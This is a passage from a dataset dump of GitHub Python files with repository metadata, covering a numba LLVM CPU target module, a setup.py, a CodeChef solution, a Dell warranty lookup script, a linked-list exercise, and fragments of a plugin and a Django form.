str(value)\n responce = self.plugin.HTTP_API.send(url)\n\n def GetLabel(self, device, value):\n return \"Set Binary Power Device: \" + str(device) + \": \" + self.functionList[value]\n\n def Configure(self, device=1, value=1):\n panel = eg.ConfigPanel()\n deviceCtrl = panel.SpinIntCtrl(device)\n functionCtrl = wx.Choice(panel, -1, choices=self.functionList)\n functionCtrl.SetSelection(value)\n panel.AddLine(\"Set Device\", deviceCtrl)\n panel.AddLine(\"Value\", functionCtrl)\n while panel.Affirmed():\n panel.SetResult(deviceCtrl.GetValue(), functionCtrl.GetSelection())"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":984,"cells":{"__id__":{"kind":"number","value":9019431344893,"string":"9,019,431,344,893"},"blob_id":{"kind":"string","value":"d57982aaa0758fd9e2b1bda10ecf7d3c7faccb27"},"directory_id":{"kind":"string","value":"be6b4181de09a50ccbd7caea58dbdbcbf90602be"},"path":{"kind":"string","value":"/numba/targets/cpu.py"},"content_id":{"kind":"string","value":"f9e89861d46c34b2271de9e8af530ad7f884b83b"},"detected_licenses":{"kind":"list like","value":["BSD-2-Clause"],"string":"[\n \"BSD-2-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"pombreda/numba"},"repo_url":{"kind":"string","value":"https://github.com/pombreda/numba"},"snapshot_id":{"kind":"string","value":"6490c73fcc0ec5d93afac298da2f1068c0b5ce73"},"revision_id":{"kind":"string","value":"25326b024881f45650d45bea54fb39a7dad65a7b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T10:37:08.119031","string":"2021-01-15T10:37:08.119031"},"revision_date":{"kind":"timestamp","value":"2014-11-06T22:32:48","string":"2014-11-06T22:32:48"},"committer_date":{"kind":"timestamp","value":"2014-11-06T22:32:48","string":"2014-11-06T22:32:48"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from __future__ import print_function, absolute_import\n\nimport sys\n\nimport llvm.core as lc\nimport llvm.passes as lp\nimport llvm.ee as le\nfrom llvm.workaround import avx_support\n\nfrom numba import _dynfunc, _helperlib, config\nfrom numba.callwrapper import PyCallWrapper\nfrom .base import BaseContext, PYOBJECT\nfrom numba import utils, cgutils, types\nfrom numba.targets import (\n intrinsics, cmathimpl, mathimpl, npyimpl, operatorimpl, printimpl)\nfrom .options import TargetOptions\n\n\ndef _add_missing_symbol(symbol, addr):\n \"\"\"Add missing symbol into LLVM internal symtab\n \"\"\"\n if not le.dylib_address_of_symbol(symbol):\n le.dylib_add_symbol(symbol, addr)\n\n# Keep those structures in sync with _dynfunc.c.\n\nclass ClosureBody(cgutils.Structure):\n _fields = [('env', types.pyobject)]\n\n\nclass EnvBody(cgutils.Structure):\n _fields = [\n ('globals', types.pyobject),\n ('consts', types.pyobject),\n ]\n\n\nclass CPUContext(BaseContext):\n \"\"\"\n Changes BaseContext calling convention\n \"\"\"\n\n def init(self):\n self.execmodule = lc.Module.new(\"numba.exec\")\n eb = le.EngineBuilder.new(self.execmodule).opt(3)\n # Note: LLVM 3.3 always generates vmovsd (AVX instruction) for\n # mem<->reg move. The transition between AVX and SSE instruction\n # without proper vzeroupper to reset is causing a serious performance\n # penalty because the SSE register need to save/restore.\n # For now, we will disable the AVX feature for all processor and hope\n # that LLVM 3.5 will fix this issue.\n eb.mattrs(\"-avx\")\n self.tm = tm = eb.select_target()\n self.pm = self.build_pass_manager()\n self.native_funcs = utils.UniqueDict()\n self.cmath_provider = {}\n self.is32bit = (utils.MACHINE_BITS == 32)\n\n # map math functions\n self.map_math_functions()\n self.map_numpy_math_functions()\n\n # Add target specific implementations\n self.insert_func_defn(cmathimpl.registry.functions)\n self.insert_func_defn(mathimpl.registry.functions)\n self.insert_func_defn(npyimpl.registry.functions)\n self.insert_func_defn(operatorimpl.registry.functions)\n self.insert_func_defn(printimpl.registry.functions)\n\n # Engine creation has sideeffect to the process symbol table\n self.engine = eb.create(tm)\n\n def get_function_type(self, fndesc):\n \"\"\"\n Get the implemented Function type for the high-level *fndesc*.\n Some parameters can be added or shuffled around.\n This is kept in sync with call_function() and get_arguments().\n\n Calling Convention\n ------------------\n (Same return value convention as BaseContext target.)\n Returns: -2 for return none in native function;\n -1 for failure with python exception set;\n 0 for success;\n >0 for user error code.\n Return value is passed by reference as the first argument.\n\n The 2nd argument is a _dynfunc.Environment object.\n It MUST NOT be used if the function is in nopython mode.\n\n Actual arguments starts at the 3rd argument position.\n Caller is responsible to allocate space for return value.\n \"\"\"\n argtypes = [self.get_argument_type(aty)\n for aty in fndesc.argtypes]\n resptr = self.get_return_type(fndesc.restype)\n fnty = lc.Type.function(lc.Type.int(), [resptr, PYOBJECT] + argtypes)\n return fnty\n\n def declare_function(self, module, fndesc):\n \"\"\"\n Override parent to handle get_env_argument\n \"\"\"\n fnty = self.get_function_type(fndesc)\n fn = module.get_or_insert_function(fnty, name=fndesc.mangled_name)\n assert fn.is_declaration\n for ak, av in zip(fndesc.args, self.get_arguments(fn)):\n av.name = \"arg.%s\" % ak\n self.get_env_argument(fn).name = \"env\"\n fn.args[0].name = \"ret\"\n return fn\n\n def get_arguments(self, func):\n \"\"\"Override parent to handle enviroment argument\n Get the Python-level arguments of LLVM *func*.\n See get_function_type() for the calling convention.\n \"\"\"\n return func.args[2:]\n\n def get_env_argument(self, func):\n \"\"\"\n Get the environment argument of LLVM *func* (which can be\n a declaration).\n \"\"\"\n return func.args[1]\n\n def call_function(self, builder, callee, resty, argtys, args, env=None):\n \"\"\"\n Call the Numba-compiled *callee*, using the same calling\n convention as in get_function_type().\n \"\"\"\n if env is None:\n # This only works with functions that don't use the environment\n # (nopython functions).\n env = lc.Constant.null(PYOBJECT)\n retty = callee.args[0].type.pointee\n retval = cgutils.alloca_once(builder, retty)\n # initialize return value to zeros\n builder.store(lc.Constant.null(retty), retval)\n\n args = [self.get_value_as_argument(builder, ty, arg)\n for ty, arg in zip(argtys, args)]\n realargs = [retval, env] + list(args)\n code = builder.call(callee, realargs)\n status = self.get_return_status(builder, code)\n return status, builder.load(retval)\n\n def get_env_from_closure(self, builder, clo):\n \"\"\"\n From the pointer *clo* to a _dynfunc.Closure, get a pointer\n to the enclosed _dynfunc.Environment.\n \"\"\"\n clo_body_ptr = cgutils.pointer_add(\n builder, clo, _dynfunc._impl_info['offset_closure_body'])\n clo_body = ClosureBody(self, builder, ref=clo_body_ptr, cast_ref=True)\n return clo_body.env\n\n def get_env_body(self, builder, envptr):\n \"\"\"\n From the given *envptr* (a pointer to a _dynfunc.Environment object),\n get a EnvBody allowing structured access to environment fields.\n \"\"\"\n body_ptr = cgutils.pointer_add(\n builder, envptr, _dynfunc._impl_info['offset_env_body'])\n return EnvBody(self, builder, ref=body_ptr, cast_ref=True)\n\n def build_pass_manager(self):\n if 0 < config.OPT <= 3:\n # This uses the same passes for clang -O3\n pms = lp.build_pass_managers(tm=self.tm, opt=config.OPT,\n loop_vectorize=config.LOOP_VECTORIZE,\n fpm=False)\n return pms.pm\n else:\n # This uses minimum amount of passes for fast code.\n # TODO: make it generate vector code\n tm = self.tm\n pm = lp.PassManager.new()\n pm.add(tm.target_data.clone())\n pm.add(lp.TargetLibraryInfo.new(tm.triple))\n # Re-enable for target infomation for vectorization\n # tm.add_analysis_passes(pm)\n passes = '''\n basicaa\n scev-aa\n mem2reg\n sroa\n adce\n dse\n sccp\n instcombine\n simplifycfg\n loops\n indvars\n loop-simplify\n licm\n simplifycfg\n instcombine\n loop-vectorize\n instcombine\n simplifycfg\n globalopt\n globaldce\n '''.split()\n for p in passes:\n pm.add(lp.Pass.new(p))\n return pm\n\n def map_math_functions(self):\n c_helpers = _helperlib.c_helpers\n for name in ['cpow', 'sdiv', 'srem', 'udiv', 'urem']:\n le.dylib_add_symbol(\"numba.math.%s\" % name, c_helpers[name])\n\n if sys.platform.startswith('win32') and self.is32bit:\n # For Windows XP __ftol2 is not defined, we will just use\n # __ftol as a replacement.\n # On Windows 7, this is not necessary but will work anyway.\n ftol = le.dylib_address_of_symbol('_ftol')\n _add_missing_symbol(\"_ftol2\", ftol)\n\n elif sys.platform.startswith('linux') and self.is32bit:\n _add_missing_symbol(\"__fixunsdfdi\", c_helpers[\"fptoui\"])\n _add_missing_symbol(\"__fixunssfdi\", c_helpers[\"fptouif\"])\n\n # Necessary for Python3\n le.dylib_add_symbol(\"numba.round\", c_helpers[\"round_even\"])\n le.dylib_add_symbol(\"numba.roundf\", c_helpers[\"roundf_even\"])\n\n # List available C-math\n for fname in intrinsics.INTR_MATH:\n if le.dylib_address_of_symbol(fname):\n # Exist\n self.cmath_provider[fname] = 'builtin'\n else:\n # Non-exist\n # Bind from C code\n le.dylib_add_symbol(fname, c_helpers[fname])\n self.cmath_provider[fname] = 'indirect'\n\n def map_numpy_math_functions(self):\n # add the symbols for numpy math to the execution environment.\n import numba._npymath_exports as npymath\n\n for sym in npymath.symbols:\n le.dylib_add_symbol(*sym)\n\n def dynamic_map_function(self, func):\n name, ptr = self.native_funcs[func]\n le.dylib_add_symbol(name, ptr)\n\n def remove_native_function(self, func):\n \"\"\"\n Remove internal references to nonpython mode function *func*.\n KeyError is raised if the function isn't known to us.\n \"\"\"\n name, ptr = self.native_funcs.pop(func)\n # If the symbol wasn't redefined, NULL it out.\n # (otherwise, it means the corresponding Python function was\n # re-compiled, and the new target is still alive)\n if le.dylib_address_of_symbol(name) == ptr:\n le.dylib_add_symbol(name, 0)\n\n def optimize(self, module):\n self.pm.run(module)\n\n def finalize(self, func, fndesc):\n \"\"\"Finalize the compilation. Called by get_executable().\n\n - Rewrite intrinsics\n - Fix div & rem instructions on 32bit platform\n - Optimize python API calls\n \"\"\"\n func.module.target = self.tm.triple\n\n if self.is32bit:\n dmf = intrinsics.DivmodFixer()\n dmf.run(func.module)\n\n im = intrinsics.IntrinsicMapping(self)\n im.run(func.module)\n\n if not fndesc.native:\n self.optimize_pythonapi(func)\n\n def get_executable(self, func, fndesc, env):\n \"\"\"\n Returns\n -------\n (cfunc, fnptr)\n\n - cfunc\n callable function (Can be None)\n - fnptr\n callable function address\n - env\n an execution environment (from _dynfunc)\n \"\"\"\n self.finalize(func, fndesc)\n cfunc = self.prepare_for_call(func, fndesc, env)\n return cfunc\n\n def prepare_for_call(self, func, fndesc, env):\n wrapper, api = PyCallWrapper(self, func.module, func, fndesc,\n exceptions=self.exceptions).build()\n self.optimize(func.module)\n\n if config.DUMP_OPTIMIZED:\n print((\"OPTIMIZED DUMP %s\" % fndesc).center(80, '-'))\n print(func.module)\n print('=' * 80)\n\n if config.DUMP_ASSEMBLY:\n print((\"ASSEMBLY %s\" % fndesc).center(80, '-'))\n print(self.tm.emit_assembly(func.module))\n print('=' * 80)\n\n # Code gen\n self.engine.add_module(func.module)\n baseptr = self.engine.get_pointer_to_function(func)\n fnptr = self.engine.get_pointer_to_function(wrapper)\n cfunc = _dynfunc.make_function(fndesc.lookup_module(),\n fndesc.qualname.split('.')[-1],\n fndesc.doc, fnptr, env)\n\n if fndesc.native:\n self.native_funcs[cfunc] = fndesc.mangled_name, baseptr\n\n return cfunc\n\n def optimize_pythonapi(self, func):\n # Simplify the function using\n pms = lp.build_pass_managers(tm=self.tm, opt=1,\n mod=func.module)\n fpm = pms.fpm\n\n fpm.initialize()\n fpm.run(func)\n fpm.finalize()\n\n # remove extra refct api calls\n remove_refct_calls(func)\n\n def get_abi_sizeof(self, lty):\n return self.engine.target_data.abi_size(lty)\n\n def calc_array_sizeof(self, ndim):\n '''\n Calculate the size of an array struct on the CPU target\n '''\n aryty = types.Array(types.int32, ndim, 'A')\n return self.get_abi_sizeof(self.get_value_type(aryty))\n\n def optimize_function(self, func):\n \"\"\"Run O1 function passes\n \"\"\"\n pms = lp.build_pass_managers(tm=self.tm, opt=1, pm=False,\n mod=func.module)\n fpm = pms.fpm\n fpm.initialize()\n fpm.run(func)\n fpm.finalize()\n\n# ----------------------------------------------------------------------------\n# TargetOptions\n\nclass CPUTargetOptions(TargetOptions):\n OPTIONS = {\n \"nopython\": bool,\n \"forceobj\": bool,\n \"looplift\": bool,\n \"wraparound\": bool,\n \"boundcheck\": bool,\n }\n\n\n# ----------------------------------------------------------------------------\n# Internal\n\ndef remove_refct_calls(func):\n \"\"\"\n Remove redundant incref/decref within on a per block basis\n \"\"\"\n for bb in func.basic_blocks:\n remove_null_refct_call(bb)\n remove_refct_pairs(bb)\n\n\ndef remove_null_refct_call(bb):\n \"\"\"\n Remove refct api calls to NULL pointer\n \"\"\"\n for inst in bb.instructions:\n if isinstance(inst, lc.CallOrInvokeInstruction):\n fname = inst.called_function.name\n if fname == \"Py_IncRef\" or fname == \"Py_DecRef\":\n arg = inst.operands[0]\n if isinstance(arg, lc.ConstantPointerNull):\n inst.erase_from_parent()\n\n\ndef remove_refct_pairs(bb):\n \"\"\"\n Remove incref decref pairs on the same variable\n \"\"\"\n\n didsomething = True\n\n while didsomething:\n didsomething = False\n\n increfs = {}\n decrefs = {}\n\n # Mark\n for inst in bb.instructions:\n if isinstance(inst, lc.CallOrInvokeInstruction):\n fname = inst.called_function.name\n if fname == \"Py_IncRef\":\n arg = inst.operands[0]\n increfs[arg] = inst\n elif fname == \"Py_DecRef\":\n arg = inst.operands[0]\n decrefs[arg] = inst\n\n # Sweep\n for val in increfs.keys():\n if val in decrefs:\n increfs[val].erase_from_parent()\n decrefs[val].erase_from_parent()\n didsomething = True\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":985,"cells":{"__id__":{"kind":"number","value":3100966425379,"string":"3,100,966,425,379"},"blob_id":{"kind":"string","value":"3eac45604609faeae3b18bed51aca8802fc7f978"},"directory_id":{"kind":"string","value":"437b6e23eda9a59081c64b7edcfa9efbae2a8236"},"path":{"kind":"string","value":"/setup.py"},"content_id":{"kind":"string","value":"bc13ca360a08103ffd74d74aedac3708ada04956"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"bohana/cbrpy"},"repo_url":{"kind":"string","value":"https://github.com/bohana/cbrpy"},"snapshot_id":{"kind":"string","value":"25dc2f1e71419f608b132731e8ca00f15a99636a"},"revision_id":{"kind":"string","value":"fca7f28ef3ed0ace829f98f5d0217b7d93b9fa3f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-05T16:56:11.131868","string":"2016-09-05T16:56:11.131868"},"revision_date":{"kind":"timestamp","value":"2014-02-02T19:53:09","string":"2014-02-02T19:53:09"},"committer_date":{"kind":"timestamp","value":"2014-02-02T19:53:09","string":"2014-02-02T19:53:09"},"github_id":{"kind":"number","value":15642633,"string":"15,642,633"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"'''\n setup.py for cbrpy\n'''\nfrom distutils.core import setup\n\nsetup(\n name='CBRpy',\n version='0.1.17ev',\n author='Bruno Ohana',\n author_email='bohana@gmail.com',\n packages=['cbrpy', 'cbrpy.tests'],\n #package_data={'sentlex': ['data/*.dat', 'data/*.lex', 'data/*.txt']},\n #scripts=['bin/sentutil'],\n url='https://github.com/bohana/cbrpy',\n license='LICENSE',\n description='A library for doing Case-Based Reasoning in Python.',\n long_description=open('README.md').read(),\n install_requires=[\n \"simplejson>=3.3.0\"\n ],\n)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":986,"cells":{"__id__":{"kind":"number","value":12455405184886,"string":"12,455,405,184,886"},"blob_id":{"kind":"string","value":"867fb65782a48daeea33339effcd736e20292a95"},"directory_id":{"kind":"string","value":"ac79941dfa15c745b296fdebc8a2ee1069e43fc2"},"path":{"kind":"string","value":"/codechef/coprime3.py"},"content_id":{"kind":"string","value":"e15a8abd0ae104841dade58fbf591e1e55d8de70"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"jdelfino/practice"},"repo_url":{"kind":"string","value":"https://github.com/jdelfino/practice"},"snapshot_id":{"kind":"string","value":"db7f75e26a65f9e98fa158f9ec49acb131fa2347"},"revision_id":{"kind":"string","value":"42bbd2f82e100035cd7199e7c79cedb28a46dd70"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T11:50:15.346756","string":"2016-09-06T11:50:15.346756"},"revision_date":{"kind":"timestamp","value":"2014-07-09T13:13:34","string":"2014-07-09T13:13:34"},"committer_date":{"kind":"timestamp","value":"2014-07-09T13:13:34","string":"2014-07-09T13:13:34"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import fileinput\nimport itertools\nfrom fractions import gcd\nimport sys\nimport random\n\ndef isPrime(n):\n for i in range(2,int(n**0.5)+1):\n if n%i==0:\n return False\n\n return True\n\ndef smart(nums):\n\tnum = len(nums)\n\n\tcount = 0\n\tfor xnum, x in enumerate(itertools.islice(nums, num-2)):\n\n\t\tfor ynum, y in enumerate(itertools.islice(nums, xnum+1, num - 1), xnum+1):\n\t\t\touter_gcd = gcd(xnum, ynum)\n\t\t\tif outer_gcd == 1:\n\t\t\t \tcount += num - ynum - 1\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tfor znum, z in enumerate(itertools.islice(nums, ynum+1, None), ynum+1):\n\t\t\t\t\tif gcd(z, outer_gcd) == 1:\n\t\t\t\t\t\tcount += 1\n\n\treturn count\n\ndef dumb(nums):\n\tmod_nums = [(x,y) for x,y in enumerate(nums)]\n\tres = [(x[0],y[0],z[0]) for x,y,z in itertools.combinations(mod_nums, 3) if gcd(x[1],gcd(y[1],z[1])) == 1]\n\treturn len(res)\n\ndef compare(nums):\n\tsm = smart(nums)\n\tdu = dumb(nums)\n\n\tif sm != du:\n\t\tprint ' '.join(str(x) for x in nums)\n\ndef main():\n\tif len(sys.argv) > 1:\n\t\tif sys.argv[1] == 'test':\n\t\t\tfor j in range(3, int(sys.argv[3])):\n\t\t\t\tprint j\n\t\t\t\tfor i in range(int(sys.argv[2])):\n\t\t\t\t\tnums = [random.randint(1,10**6) for x in range(j)]\n\t\t\t\t\tcompare(nums)\n\t\t\treturn\n\n\t\tprint sys.argv[1]\n\t\tprint ' '.join(str(random.randint(1,10**6)) for x in range(int(sys.argv[1])))\n\t\treturn\n\n\tfi = fileinput.input()\n\n\tnum = int(fi.readline().strip())\n\tnums = [int(x) for x in fi.readline().strip().split(\" \")]\n\n\tprint smart(nums)\n\t#compare(nums)\n\nif __name__ == '__main__':\n\tmain()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":987,"cells":{"__id__":{"kind":"number","value":3083786535392,"string":"3,083,786,535,392"},"blob_id":{"kind":"string","value":"b8b9303e012db61cb3c8e342f207859f72b3d398"},"directory_id":{"kind":"string","value":"3bcae0b2cddc604fdfd3a9542870350e9fef6d59"},"path":{"kind":"string","value":"/dellinfo.py"},"content_id":{"kind":"string","value":"e5232fb6d7222dac5a0eecceef7a67e0cf71f257"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"bstinsonmhk/utils"},"repo_url":{"kind":"string","value":"https://github.com/bstinsonmhk/utils"},"snapshot_id":{"kind":"string","value":"3421efd1f95ecd0a859ea29359dc538e0da68af4"},"revision_id":{"kind":"string","value":"875bfa1f7dbf2afcabd2455e54fbbc3931ada839"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T12:59:57.625553","string":"2021-01-15T12:59:57.625553"},"revision_date":{"kind":"timestamp","value":"2013-03-28T17:03:22","string":"2013-03-28T17:03:22"},"committer_date":{"kind":"timestamp","value":"2013-03-28T17:03:22","string":"2013-03-28T17:03:22"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\nimport re\nimport suds\nimport uuid\n\ndef valid_servicetag(servicetag):\n # Keep me from doing something stupid...this is not a robust sanity check\n return (re.match(\"^[a-zA-Z0-9]{7}$\",servicetag) is not None)\n\ndef get_asset_information(servicetag):\n asset_information = {}\n\n header_attributes = [\n ('purchasedate','SystemShipDate'),\n ('type', 'SystemType'),\n ('model', 'SystemModel') \n ]\n\n entitle_attributes = [\n ('warranty_type', 'ServiceLevelCode'),\n ('start_date', 'StartDate'),\n ('end_date', 'EndDate'),\n ('days_left', 'DaysLeft'),\n ('status', 'EntitlementType'), \n ]\n\n appurl = 'http://xserv.dell.com/services/assetservice.asmx?WSDL'\n\n if not valid_servicetag(servicetag):\n raise ValueError('Service Tags should be 7 Alphanumeric characters, %s does not conform' % servicetag)\n\n suds_client = suds.client.Client(appurl)\n result = suds_client.service.GetAssetInformation(str(uuid.uuid1()), 'dellwarrantycheck', servicetag)\n\n # We only have one service tag, so we know for sure we will only be returned\n # one asset\n header = result.Asset[0].AssetHeaderData\n entitle = result.Asset[0].Entitlements[0]\n\n for ours,theirs in header_attributes:\n asset_information[ours] = header[theirs]\n\n asset_information['warranties'] = []\n for warranty in entitle:\n warranty_information = {}\n for ours, theirs in entitle_attributes:\n warranty_information[ours] = warranty[theirs]\n asset_information['warranties'].append(warranty_information)\n\n return asset_information\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":988,"cells":{"__id__":{"kind":"number","value":7902739836207,"string":"7,902,739,836,207"},"blob_id":{"kind":"string","value":"ea3c7f138abbe29a9ed41c90d9c86ef1fe11243d"},"directory_id":{"kind":"string","value":"3ad620b675b6f4f8dd19eb89321cf32faa0ee2cb"},"path":{"kind":"string","value":"/src/python/cracking/c02linkedlists/s03deletenode.py"},"content_id":{"kind":"string","value":"7b557d2f1b922c17f6377e9bd64b348287fbe495"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"michaellossos/coding_interview"},"repo_url":{"kind":"string","value":"https://github.com/michaellossos/coding_interview"},"snapshot_id":{"kind":"string","value":"4722454f541881a42dd7d018e243f2b42d2b4ee8"},"revision_id":{"kind":"string","value":"9bbb6bb1914bf08a1d826a61c373a85d546bd4b6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2019-06-29T04:24:40.499520","string":"2019-06-29T04:24:40.499520"},"revision_date":{"kind":"timestamp","value":"2012-09-13T03:09:08","string":"2012-09-13T03:09:08"},"committer_date":{"kind":"timestamp","value":"2012-09-13T03:09:08","string":"2012-09-13T03:09:08"},"github_id":{"kind":"number","value":3237887,"string":"3,237,887"},"star_events_count":{"kind":"number","value":9,"string":"9"},"fork_events_count":{"kind":"number","value":3,"string":"3"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"\"\"\"\nImplement an algorithm to delete a node in the middle of a single linked list, given only access to that node.\nEXAMPLE\nInput: the node 'c' from the linked list a->b->c->d->e\nResult: nothing is returned, but the new linked list looks like a->b->d->e\n\"\"\"\n\nimport linkedlist\n\ndef delete_node(node):\n \"\"\"\n node: LinkedListNode\n \"\"\"\n if not node.next:\n raise Exception('Cannot delete last node in list.')\n node.data = node.next.data\n node.next = node.next.next\n\n\n#################################\n# Tests\n#\n\ndef _test_all():\n test_list = linkedlist.create_linkedlist([0, 1, 2])\n node = test_list.head.next\n assert node.data == 1\n delete_node(node)\n assert str(test_list) == '[0, 2]'\n print 'SUCCESS'\n\nif __name__ == '__main__':\n _test_all()\n\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":989,"cells":{"__id__":{"kind":"number","value":1657857394163,"string":"1,657,857,394,163"},"blob_id":{"kind":"string","value":"759b0dad19a6259d978cadbd34272604ca231615"},"directory_id":{"kind":"string","value":"7aebeeb5055ab9185e63e74adf640bf36dcc20ec"},"path":{"kind":"string","value":"/Bordj/Forms.py"},"content_id":{"kind":"string","value":"71886bd8f5ba947527a827c719ed519a04680c20"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Halicea/HalRepository"},"repo_url":{"kind":"string","value":"https://github.com/Halicea/HalRepository"},"snapshot_id":{"kind":"string","value":"52eb6e6bb9899b0fad70efbc9a829d2c08f69eb6"},"revision_id":{"kind":"string","value":"1b493dd0637b7bf68780d30d59e0ede0211ef85a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-21T23:14:24.309310","string":"2021-01-21T23:14:24.309310"},"revision_date":{"kind":"timestamp","value":"2011-11-24T02:07:06","string":"2011-11-24T02:07:06"},"committer_date":{"kind":"timestamp","value":"2011-11-24T02:07:06","string":"2011-11-24T02:07:06"},"github_id":{"kind":"number","value":2336075,"string":"2,336,075"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from lib.djangoFormImports import widgets, fields, extras\nfrom google.appengine.ext.db.djangoforms import ModelForm\nfrom django.forms import Form\nfrom Models.BordjModels import *\n#{%block imports%}\n#{%endblock%}\n###############\ndef get_people():\n return [[str(x.key()), x.Name+' '+x.Surname] for x in Person.all().fetch(limit=100, offset=0)]\n\nclass DolgForm(Form):\n Type = fields.ChoiceField(choices=((0,'Mu Dolzam'), (1,'Mi Dolzi')), required=True,\n widget=widgets.RadioSelect(attrs={'style':'display: inline;margin-left: 0.5em;'})\n )\n Party = fields.ComboField(required=True, widget=widgets.Select(choices=get_people()))\n Ammount = fields.IntegerField(required=True)\n Note = 